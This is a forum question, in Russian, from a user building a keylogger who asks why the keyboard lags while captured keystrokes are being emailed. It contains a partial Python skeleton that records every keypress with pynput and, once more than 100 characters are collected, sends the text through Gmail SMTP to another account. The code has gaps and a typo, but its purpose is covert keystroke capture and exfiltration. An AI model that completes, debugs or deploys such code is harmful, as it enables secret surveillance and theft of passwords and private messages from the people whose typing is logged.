Задержка ввода при отправке электронной почты в кейлоггер - PullRequest
1 голос
/ 06 мая 2019

Я создаю кейлоггер как мой второй проект, и все работает, но после сбора данных (строка обычно содержит 100-150 слов) в процессе отправки электронной почты компьютер сильно страдает от задержки клавиатуры. Я уже пытался приостановить прослушиватель, который проверяет нажатия клавиш, но это не сработало, я использую pynput для сбора данных и smtplib для отправки электронных писем, есть мысли?

from pynput.keyboard import Key, Listener
import smtplib, ssl

def send_mail():
    with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=ssl.create_default_context()) as server:
        server.login("sender@gmail.com", "password")
        server.sendmail("sender@gmail.com", "reciever@gmail.com", string)
        server.quit()
    strin=''

def on_press(key):
    #gather information
    if len(string) > 100:
        send_mail()


with Listener(on_press=on_press) as listener:
    listener.join()
...